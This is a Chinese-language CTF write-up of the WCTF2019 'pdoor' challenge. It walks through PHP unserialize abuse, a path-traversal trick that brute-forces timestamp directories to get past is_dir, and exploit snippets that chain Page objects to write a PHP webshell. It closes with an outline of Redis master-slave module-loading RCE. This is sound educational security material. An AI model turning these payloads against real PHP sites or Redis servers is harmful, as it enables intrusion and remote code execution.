WCTF2019 pdoor Review

brief desc

这里提供官方的题目 https://github.com/paul-axe/ctf

今年 WCTF 还是被按在地上摩擦,就 pdoor 这个题目来说,感觉是相当值得多思考几遍的题目了。。

当然里面也有 lcbc 在分享会上的 slide,不过总体来说还是以分享设计思路和解题的方法,当时刚好在 360 某实验室,没听到他们的分享,所以我的思路基本都是基于 wupco 师傅的 wp 来进行的(比赛过程中并没有做出来,菜

简单说一下做题中的思路吧,这道题可以通过 git 泄露拿到源代码,代码很少,主要有几个类,涉及到无过滤的反序列化和文件读/写,其他的点能拿到 flag 的可能性没有想到。

审这个题目是第一天的晚上,看到反序列化的直接入口跟了一下魔术函数,发现并没有什么特殊的地方,根据使用的 redis 无认证,考虑可能会出现 SSRF,又考虑到传统利用不可能在 WCTF 中出现,还是想试一下,准备 SOAP 反序列化打 redis(不过第二天上来发现 SOAP 扩展并未安装)。又找其他地方,发现文件写似乎可以构建为任意文件写,当然只需要确定文件路径和文件内容。先考虑的文件路径,然后卡在 is_dir 就认为不能 bypass 了 .. 然而正确的路径确是如此。

getshell

control the path

我们看一下调用栈:

Controler->doPublish() => (new page())->public() => Cache::writeToFile => file_put_contents

具体调用如下:

class MainController {

    public function doPublish(){
        $this->checkAuth();
        $page = unserialize($_COOKIE["draft"]);
        $fname = $_POST["fname"];
        $page->publish($fname);
        setcookie("draft", null, -1);
        die("Your blog post will be published after a while (never)<br><a href=/>Back</a>");
    }
    
}

class Page {

    public function __toString(): string {
        return $this->render();
    }

    public function publish($filename) {
        $user = User::getInstance();
        $ext = substr(strstr($filename, "."), 1);

        $path = $user->getCacheDir() . "/" . microtime(true) . "." . $ext;
        $user->checkWritePermissions();
        Cache::writeToFile($path, $this);
    }
}

class Cache {
    public static function writeToFile($path, $content) {
        $info = pathinfo($path);
        if (!is_dir($info["dirname"]))
            throw new Exception("Directory doesn't exists");
        if (is_file($path))
            throw new Exception("File already exists");
        file_put_contents($path, $content);
    }
}

可以看到整体的逻辑很简洁,我们如果要控制 path,就需要知道 user 类 getCacheDir() 的返回

    const CACHE_PATH = "/tmp/cache/";
    
    public function getCacheDir(): string {
        $dir_path = self::CACHE_PATH . $this->name;
        if (!is_dir($dir_path)){
            mkdir($dir_path);
        }
        return $dir_path;
    }

可以发现反函数返回时一个固定值加上传入的 name,而 name 我们是否可控呢?我们看一下大概的源码

class User {
    const CACHE_PATH = "/tmp/cache/";

    public $name;
    public $perms;

    private static $_instance = null;

    public function __construct($name){
        $this->name = $name;
        $this->perms = 4;
        self::$_instance = $this;
    }

    public function __wakeup(){
        self::$_instance = $this;
    }

    public static function getInstance(): ?User {
        return self::$_instance;
    }

    public function checkWritePermissions() {
        if (!$this->name || !ctype_alnum($this->name))
            die("Invalid user");
        if ( !(($this->perms >> 2)&1) )
            die("Access denied");
    }
}

可以发现对 name 的检测在 checkWritePermissions 中,检查是否是字母数字组成。而上文的 checkWritePermissions 函数在下一步调用,故 name 在调用 getCacheDir() 时是完全可控的。但是整个 path 如果可控需要最后的 ext 可控,可以发现 ext 截取了第一个点号之后的内容,如此 ext 也是完全可控的,之后进入 Cache::writeToFile,其中对 path 进行了处理,先 pathinfo,之后对目录部分进行判断 is_dir。

在实际测试中发现,我们的 path 格式为 $user->getCacheDir() . "/" . microtime(true) . "." . $ext,可以理解为 /tmp/cache/xmsec/time.php 如果需要控制 path,则需要控制 name 或者 ext。

如果控制name,则无法进入下一步,如果控制 ext,如 /tmp/cache/xmsec/time./../../../../var/www/html/s.php,发现 pathinfo 目录返回 '/tmp/cache/xmsec/time./../../../../var/www/html',无法通过 is_dir,原因在于 time. 目录不存在,判断返回 false。

这样就产生了第一个难点,如果目录穿越则无法通过 is_dir 函数检查。这时如果重新考虑整个过程,发现 name 这个点似乎可以利用,回想 name 的逻辑

    public function getCacheDir(): string {
        $dir_path = self::CACHE_PATH . $this->name;
        if (!is_dir($dir_path)){
            mkdir($dir_path);
        }
        return $dir_path;
    }

控制 name,如果目录不存在则 mkdir,可以通过控制 name 来创建 time. 目录,从而绕过 is_dir 的检测!

所以控制任意地址的思路就是,通过控制 name 来创建 dir,进而创建符合时间戳格式和内容的目录,从而在 Cache::writeToFile 调用时,绕过 is_dir 对目录是否存在的检测造成目录穿越(即 /tmp/cache/time. 目录存在),那么此时需要处理的难点就在于如果准确的创建 dir。可以观察到 time. 创建包含了一个微秒时间戳的字符串,想要预测是有难度的,但是我们可以考虑在一定窗口内爆破所有时间戳对应的目录,只要有一个满足就可使下一步通过检查。

这里我们直接看一下 lcbc 给出的 exp,其中 get_server_time() 通过提供的 viewDraft 功能可以查看当前的微秒时间戳,offset 为爆破的时间偏移,即攻击时的时间。

$TIME_WINDOW = 2.000;
$TIME_OFFSET = 150.000;

$server_time = get_server_time();
echo "[+] Got server time: $server_time\n";
$diff = microtime(true) - $server_time;
echo "[*] Creating directories...\n";
create_dir("test");
for ($i = 0; $i < $TIME_WINDOW; $i += 0.0001){
    create_dir( "test/".($server_time + $TIME_OFFSET  + $i).".");
    $progress = intval($i/$TIME_WINDOW*100);
    echo "$progress%\r";

}

control content of file

有了上面的大概逻辑,那么下一步就在于任意内容写了。其实也能看出来我们能够控制的内容并不明显, Cache::writeToFile($path, $this); 这句的写入最终调用了 put_contents,那么 $this 被解析为字符串,会调用 __tostring。这时候再看一下写内容的逻辑。

class Page {
    const TEMPLATES = array("main" => "main.tpl", "header" => "header.tpl");
    public $view;
    public $text;
    public $template;
    public $header;

    public function __construct(string $template) {
        $this->template = $template;
    }

    public function __toString(): string {
        return $this->render();
    }

    public function publish($filename) {
        $user = User::getInstance();
        $ext = substr(strstr($filename, "."), 1);

        $path = $user->getCacheDir() . "/" . microtime(true) . "." . $ext;
        $user->checkWritePermissions();
        Cache::writeToFile($path, $this);
    }

    public function renderVars(): string {
        $content = $this->view["content"];
        foreach ($this->vars as $k=>$v){
            $v = htmlspecialchars($v);
            $content = str_replace("@@$k@@", $v, $content);
        }
        return $content;
    }

    private function getHeader(): ?Page {
        return $this->header;
    }

    public function render(): string {
        $user = User::getInstance();

        if (!array_key_exists($this->template, self::TEMPLATES))
            die("Invalid template");

        $tpl = self::TEMPLATES[$this->template];

        $this->view = array();

        $this->view["content"] = file_get_contents($tpl);
        $this->vars["user"]  = $user->name;
        $this->vars["text"]  = $this->text."\n";
        $this->vars["rendered"] = microtime(true);

        $content = $this->renderVars();
        $header = $this->getHeader();

        return $header.$content;
    }
}

这是 page 类的完整实现,可以发现魔术函数后面还有处理,__toString => render => renderVars

render 最后返回的 $content 为例,在 render 函数中 $this->view = array(); 对其进行了覆盖,无法直接控制,而 vars 变量是可以直接控制的,跟进 renderVars() 函数中,发现对 content 进行了模板处理,并对其中可控部分进行了 html 实体化,最明显的变化就是 < 被转义了,如果写入 php,则无法解析。

到目前为止,任意内容写入也遇到了问题,$this->view 会被数组覆盖,$this->vars 会被实体化。这里我们回顾一下能够控制部分:

view 的操作都是基于数组的,我们可以使用字符串绕过数组的处理,同时由于弱类型,若其可控,只能输出第一个被控字符。

php > $s="123456";
php > print_r($s['test']);
1
php > $s[0]='01234';
php > print_r($s['test']);
0
php > var_dump($s);
string(6) "023456"

vars 的操作主要在于实体化的过滤,对其的赋值很明显我们可以去控制 $this->text."\n"

综上,我们如果写入 webshell <?php phpinfo();,可以先通过字符串 bypass 写入 <,再写入之后的部分,之后的内容即使被实体化也不会改变。先考虑如何写入 <,我们无法从反序列化控制 view,但是可以使用引用(浅拷贝)通过操作其他内容来控制 view,根据上面的分析,显然 text 是最佳的选择,于是就可以构造 $this->view = &$this->vars["text"],这样可以通过 text 变相控制 view 为字符串 <,同时也不会被实体化,那我们我们就控制了第一位是 <。后面的部分写入据说好几种方法,其中,可以发现 return $header.$content 拼接了两部分 page,完全可以利用这个拼接来写入 < 和之后的 payload,因为 $header 也是一个 page 类。

介绍下 wupco 师傅的具体方法,因为我们需要直接拼接后面的内容,所以起始位必须是可控的,可以发现 main.tpl 完全满足条件,只需要控制 text 就可以写入了。而 lcbc 给的方法十分暴力了

function gen_payload($payload){
    $expl = false;

    for ($i=0; $i<strlen($payload); $i++){
        $p = new Page("main");
        $p->text= $payload[$i];
        $p->vars["text"] = &$p->view;

        if (!$expl)
            $expl = $p;
        else {
            $p->header = $expl;
            $expl = $p;
        }
    }

    return serialize($expl);
}

但是通过 main.tpl 写入后会有其他的冗余,造成 php 解析失败,wupco 师傅使用 <?php phpinfo();__halt_compiler(); 来中断 opcode 编译,其实,直接 /* 注释掉后面就可以了。

attack redis

github 上已经有成型的工具了,在这里需要把端口转发出来,方法很多,也可以使用 lcbc 直接通过 tcp 链接发送请求的方法,这样需要启动一个 redis,并建立主从同步关系。

这里可以直接用近几天发布的工具:
https://github.com/vulhub/redis-rogue-getshell

原理简单说一下,比较容易理解。

在 redis 2.x 及以前,可以使用 POST REQUEST 发送到 redis 端口从而完全未授权利用,而在 3.x 之后由于安全策略的更新无法通过 POST 攻击,但是可以考虑 SSRF 打 redis。在本题中,可以发现 redis 是 4.0,而且使用 docker 做了服务分离,传统的方法无法得以利用,我们如果要拿到 redis 容器中的文件,则需要考虑其他攻击方式。

出题人曾分享了在 redis 3.x 中的攻击方法,利用了 redis>3.x 版本的一个主从模式 (slave) 的一个安全问题。

整体思路在于利用 FULLRESYNC 同步一个 module,module 功能是 redis 新添加的,这样我们可以导入一个我们可控的 so 文件,从而增加 redis 对命令解析的功能,以达到命令执行的效果。

具体原理可以看 https://xz.aliyun.com/t/5616
对于利用的扩展可以看 lemon 师傅写的 https://www.cnblogs.com/iamstudy/articles/redis_load_module_rce.html

ref

1.https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/HkzsDzRxr
2.https://github.com/paul-axe/ctf/blob/master/wctf2019/p-door/p-door.pdf
3.https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

Updated At: Author:xmsec
Chief Water dispenser Manager of Lancet, delivering but striving.
Github
comments powered by Disqus